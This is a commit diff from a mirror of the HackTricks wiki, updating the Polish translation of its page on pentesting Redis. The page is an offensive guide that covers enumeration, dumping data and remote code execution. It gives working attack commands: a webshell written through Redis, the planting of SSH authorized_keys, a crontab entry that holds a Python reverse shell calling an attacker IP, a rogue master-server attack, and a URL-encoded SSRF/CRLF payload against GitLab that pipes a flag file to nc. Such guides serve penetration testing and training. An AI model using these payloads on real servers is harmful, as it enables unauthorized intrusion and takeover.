mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/6379-pentesting-redis.md']
This commit is contained in:
parent
d34450cad9
commit
d85b062094
@ -13,7 +13,7 @@ Domyślnie Redis używa protokołu opartego na czystym tekście, ale musisz pami
|
|||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
6379/tcp open redis Redis key-value store 4.0.9
|
6379/tcp open redis Redis key-value store 4.0.9
|
||||||
```
|
```
|
||||||
## Automatyczna enumeracja
|
## Automatyczna Enumeracja
|
||||||
|
|
||||||
Niektóre zautomatyzowane narzędzia, które mogą pomóc w uzyskaniu informacji z instancji redis:
|
Niektóre zautomatyzowane narzędzia, które mogą pomóc w uzyskaniu informacji z instancji redis:
|
||||||
```bash
|
```bash
|
||||||
@ -26,12 +26,12 @@ msf> use auxiliary/scanner/redis/redis_server
|
|||||||
|
|
||||||
Redis to **protokół oparty na tekście**, możesz po prostu **wysłać polecenie w gnieździe** i zwrócone wartości będą czytelne. Pamiętaj również, że Redis może działać z użyciem **ssl/tls** (ale to jest bardzo dziwne).
|
Redis to **protokół oparty na tekście**, możesz po prostu **wysłać polecenie w gnieździe** i zwrócone wartości będą czytelne. Pamiętaj również, że Redis może działać z użyciem **ssl/tls** (ale to jest bardzo dziwne).
|
||||||
|
|
||||||
W regularnej instancji Redis możesz po prostu połączyć się za pomocą `nc` lub możesz również użyć `redis-cli`:
|
W standardowej instancji Redis możesz po prostu połączyć się za pomocą `nc` lub możesz również użyć `redis-cli`:
|
||||||
```bash
|
```bash
|
||||||
nc -vn 10.10.10.10 6379
|
nc -vn 10.10.10.10 6379
|
||||||
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
||||||
```
|
```
|
||||||
Pierwszym poleceniem, które możesz spróbować, jest **`info`**. Może zwrócić wynik z informacjami o instancji Redis **lub coś** takiego jak poniżej:
|
Pierwszym poleceniem, które możesz spróbować, jest **`info`**. Może to zwrócić wynik z informacjami o instancji Redis **lub coś** takiego jak poniżej:
|
||||||
```
|
```
|
||||||
-NOAUTH Authentication required.
|
-NOAUTH Authentication required.
|
||||||
```
|
```
|
||||||
@ -40,23 +40,23 @@ W tym ostatnim przypadku oznacza to, że **potrzebujesz ważnych poświadczeń**
|
|||||||
### Uwierzytelnianie Redis
|
### Uwierzytelnianie Redis
|
||||||
|
|
||||||
**Domyślnie** Redis można uzyskać **bez poświadczeń**. Jednak można go **skonfigurować** tak, aby obsługiwał **tylko hasło lub nazwę użytkownika + hasło**.\
|
**Domyślnie** Redis można uzyskać **bez poświadczeń**. Jednak można go **skonfigurować** tak, aby obsługiwał **tylko hasło lub nazwę użytkownika + hasło**.\
|
||||||
Możliwe jest **ustawienie hasła** w pliku _**redis.conf**_ za pomocą parametru `requirepass` **lub tymczasowo** do momentu ponownego uruchomienia usługi, łącząc się z nią i uruchamiając: `config set requirepass p@ss$12E45`.\
|
Możliwe jest **ustawienie hasła** w pliku _**redis.conf**_ za pomocą parametru `requirepass` **lub tymczasowo** do momentu ponownego uruchomienia usługi, łącząc się z nią i wykonując: `config set requirepass p@ss$12E45`.\
|
||||||
Można również skonfigurować **nazwę użytkownika** w parametrze `masteruser` w pliku _**redis.conf**_.
|
Ponadto, **nazwa użytkownika** może być skonfigurowana w parametrze `masteruser` w pliku _**redis.conf**_.
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> Jeśli skonfigurowano tylko hasło, używana nazwa użytkownika to "**default**".\
|
> Jeśli skonfigurowano tylko hasło, używana nazwa użytkownika to "**default**".\
|
||||||
> Należy również zauważyć, że **nie ma sposobu, aby zewnętrznie** sprawdzić, czy Redis został skonfigurowany tylko z hasłem czy z nazwą użytkownika + hasłem.
|
> Należy również zauważyć, że **nie ma sposobu, aby zewnętrznie** ustalić, czy Redis został skonfigurowany tylko z hasłem, czy z nazwą użytkownika + hasłem.
|
||||||
|
|
||||||
W przypadkach takich jak ten będziesz **musiał znaleźć ważne poświadczenia**, aby interagować z Redis, więc możesz spróbować [**brute-force**](../generic-hacking/brute-force.md#redis).\
|
W przypadkach takich jak ten będziesz **musiał znaleźć ważne poświadczenia**, aby interagować z Redis, więc możesz spróbować [**brute-force**](../generic-hacking/brute-force.md#redis).\
|
||||||
**W przypadku znalezienia ważnych poświadczeń musisz uwierzytelnić sesję** po nawiązaniu połączenia za pomocą polecenia:
|
**W przypadku znalezienia ważnych poświadczeń musisz uwierzytelnić sesję** po nawiązaniu połączenia za pomocą polecenia:
|
||||||
```bash
|
```bash
|
||||||
AUTH <username> <password>
|
AUTH <username> <password>
|
||||||
```
|
```
|
||||||
**Ważne dane logowania** będą odpowiedziane: `+OK`
|
**Ważne dane uwierzytelniające** będą odpowiedziane: `+OK`
|
||||||
|
|
||||||
### **Uwierzytelniona enumeracja**
|
### **Uwierzytelniona enumeracja**
|
||||||
|
|
||||||
Jeśli serwer Redis zezwala na **anonimowe połączenia** lub jeśli uzyskałeś ważne dane logowania, możesz rozpocząć proces enumeracji usługi, używając następujących **komend**:
|
Jeśli serwer Redis zezwala na **anonimowe połączenia** lub jeśli uzyskałeś ważne dane uwierzytelniające, możesz rozpocząć proces enumeracji usługi, używając następujących **komend**:
|
||||||
```bash
|
```bash
|
||||||
INFO
|
INFO
|
||||||
[ ... Redis response with info ... ]
|
[ ... Redis response with info ... ]
|
||||||
@ -73,9 +73,9 @@ rename-command FLUSHDB ""
|
|||||||
```
|
```
|
||||||
Więcej informacji na temat bezpiecznej konfiguracji usługi Redis tutaj: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
|
Więcej informacji na temat bezpiecznej konfiguracji usługi Redis tutaj: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
|
||||||
|
|
||||||
Możesz również **monitorować w czasie rzeczywistym polecenia Redis** wykonywane za pomocą polecenia **`monitor`** lub uzyskać 25 **najwolniejszych zapytań** za pomocą **`slowlog get 25`**
|
Możesz również **monitorować w czasie rzeczywistym polecenia Redis** wykonywane za pomocą polecenia **`monitor`** lub uzyskać **25 najwolniejszych zapytań** za pomocą **`slowlog get 25`**
|
||||||
|
|
||||||
Znajdź więcej interesujących informacji na temat innych poleceń Redis tutaj: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
|
Znajdź więcej interesujących informacji na temat poleceń Redis tutaj: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
|
||||||
|
|
||||||
### **Zrzut bazy danych**
|
### **Zrzut bazy danych**
|
||||||
|
|
||||||
@ -96,7 +96,7 @@ KEYS *
|
|||||||
GET <KEY>
|
GET <KEY>
|
||||||
[ ... Get Key ... ]
|
[ ... Get Key ... ]
|
||||||
```
|
```
|
||||||
W przypadku wystąpienia następującego błędu `-WRONGTYPE Operation against a key holding the wrong kind of value` podczas uruchamiania `GET <KEY>`, może to być spowodowane tym, że klucz może być czymś innym niż ciągiem lub liczbą całkowitą i wymaga specjalnego operatora do wyświetlenia.
|
W przypadku wystąpienia następującego błędu `-WRONGTYPE Operation against a key holding the wrong kind of value` podczas uruchamiania `GET <KEY>`, może to być spowodowane tym, że klucz może być czymś innym niż ciąg lub liczba całkowita i wymaga specjalnego operatora do wyświetlenia.
|
||||||
|
|
||||||
Aby poznać typ klucza, użyj polecenia `TYPE`, przykład poniżej dla kluczy listy i hasha.
|
Aby poznać typ klucza, użyj polecenia `TYPE`, przykład poniżej dla kluczy listy i hasha.
|
||||||
```bash
|
```bash
|
||||||
@ -110,13 +110,13 @@ HGET <KEY> <FIELD>
|
|||||||
# If the type used is weird you can always do:
|
# If the type used is weird you can always do:
|
||||||
DUMP <key>
|
DUMP <key>
|
||||||
```
|
```
|
||||||
**Zrzut bazy danych za pomocą npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **lub python** [**redis-utils**](https://pypi.org/project/redis-utils/)
|
**Zrzut bazy danych za pomocą npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **lub python** [**redis-utils**](https://pypi.org/project/redis-utils/)
|
||||||
|
|
||||||
## Redis RCE
|
## Redis RCE
|
||||||
|
|
||||||
### Interaktywna powłoka
|
### Interaktywna powłoka
|
||||||
|
|
||||||
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) może automatycznie uzyskać interaktywną powłokę lub powłokę odwrotną w Redis(<=5.0.5).
|
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) może automatycznie uzyskać interaktywną powłokę lub powłokę zwrotną w Redis(<=5.0.5).
|
||||||
```
|
```
|
||||||
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
|
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
|
||||||
```
|
```
|
||||||
@ -134,7 +134,7 @@ OK
|
|||||||
10.85.0.52:6379> save
|
10.85.0.52:6379> save
|
||||||
OK
|
OK
|
||||||
```
|
```
|
||||||
Jeśli wystąpi wyjątek dostępu do webshella, możesz opróżnić bazę danych po wykonaniu kopii zapasowej i spróbować ponownie, pamiętaj, aby przywrócić bazę danych.
|
Jeśli wystąpi wyjątek dostępu do webshella, możesz opróżnić bazę danych po wykonaniu kopii zapasowej i spróbować ponownie, pamiętaj, aby przywrócić bazę danych.
|
||||||
|
|
||||||
### Szablon Webshell
|
### Szablon Webshell
|
||||||
|
|
||||||
@ -161,9 +161,9 @@ sh.stderr.pipe(client);
|
|||||||
|
|
||||||
Przykład [stąd](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
|
Przykład [stąd](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
|
||||||
|
|
||||||
Proszę pamiętać, że wynik **`config get dir`** może się zmienić po innych ręcznych poleceniach exploit. Sugeruję uruchomić je jako pierwsze zaraz po zalogowaniu się do Redis. W wyniku **`config get dir`** możesz znaleźć **dom** **użytkownika redis** (zwykle _/var/lib/redis_ lub _/home/redis/.ssh_), a znając to, wiesz, gdzie możesz zapisać plik `authenticated_users`, aby uzyskać dostęp przez ssh **z użytkownikiem redis**. Jeśli znasz dom innego ważnego użytkownika, w którym masz uprawnienia do zapisu, możesz również to wykorzystać:
|
Proszę pamiętać, że wynik **`config get dir`** może się zmienić po innych ręcznych poleceniach eksploatacyjnych. Sugeruję uruchomić je jako pierwsze zaraz po zalogowaniu się do Redis. W wyniku **`config get dir`** możesz znaleźć **dom** użytkownika **redis** (zwykle _/var/lib/redis_ lub _/home/redis/.ssh_), a znając to, wiesz, gdzie możesz zapisać plik `authenticated_users`, aby uzyskać dostęp przez ssh **z użytkownikiem redis**. Jeśli znasz dom innego ważnego użytkownika, w którym masz uprawnienia do zapisu, możesz również to wykorzystać:
|
||||||
|
|
||||||
1. Wygeneruj parę kluczy publicznych-prywatnych ssh na swoim komputerze: **`ssh-keygen -t rsa`**
|
1. Wygeneruj parę kluczy publicznych i prywatnych ssh na swoim komputerze: **`ssh-keygen -t rsa`**
|
||||||
2. Zapisz klucz publiczny do pliku : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
|
2. Zapisz klucz publiczny do pliku : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
|
||||||
3. Importuj plik do redis : **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
|
3. Importuj plik do redis : **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
|
||||||
4. Zapisz klucz publiczny do pliku **authorized_keys** na serwerze redis:
|
4. Zapisz klucz publiczny do pliku **authorized_keys** na serwerze redis:
|
||||||
@ -182,6 +182,8 @@ OK
|
|||||||
|
|
||||||
**Ta technika jest zautomatyzowana tutaj:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
|
**Ta technika jest zautomatyzowana tutaj:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
|
||||||
|
|
||||||
|
Dodatkowo, użytkownicy systemowi mogą być również odkrywani przez sprawdzenie z `config set dir /home/USER`, a po potwierdzeniu nowy `authorized_keys` może być zapisany w `/home/USER/.ssh/authorized_keys`. Użyj [redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh), aby przeprowadzić atak brute force z listą nazw użytkowników i nadpisać `authorized_keys`.
|
||||||
|
|
||||||
### Crontab
|
### Crontab
|
||||||
```
|
```
|
||||||
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
|
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
|
||||||
@ -225,7 +227,7 @@ Niektóre **CVEs do ucieczki z LUA**:
|
|||||||
|
|
||||||
### Moduł Master-Slave
|
### Moduł Master-Slave
|
||||||
|
|
||||||
Master redis synchronizuje wszystkie operacje automatycznie z slave redis, co oznacza, że możemy traktować podatny redis jako slave redis, połączony z master redis, który kontrolujemy, a następnie możemy wprowadzić polecenie do naszego własnego redis.
|
Główny redis synchronizuje wszystkie operacje automatycznie z podrzędnym redis, co oznacza, że możemy traktować podatny redis jako podrzędny redis, połączony z głównym redis, który jest przez nas kontrolowany, a następnie możemy wprowadzić polecenie do naszego własnego redis.
|
||||||
```
|
```
|
||||||
master redis : 10.85.0.51 (Hacker's Server)
|
master redis : 10.85.0.51 (Hacker's Server)
|
||||||
slave redis : 10.85.0.52 (Target Vulnerability Server)
|
slave redis : 10.85.0.52 (Target Vulnerability Server)
|
||||||
@ -266,6 +268,6 @@ A **URL encode** żądanie **wykorzystujące SSRF** i **CRLF** do wykonania `who
|
|||||||
```
|
```
|
||||||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
||||||
```
|
```
|
||||||
_Z jakiegoś powodu (jak dla autora_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _skąd pochodzi ta informacja) wykorzystanie działało z schematem `git`, a nie z schematem `http`._
|
_Z jakiegoś powodu (jak dla autora_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _skąd pochodzi ta informacja) wykorzystanie działało z schematem `git`, a nie z schematem `http`._
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user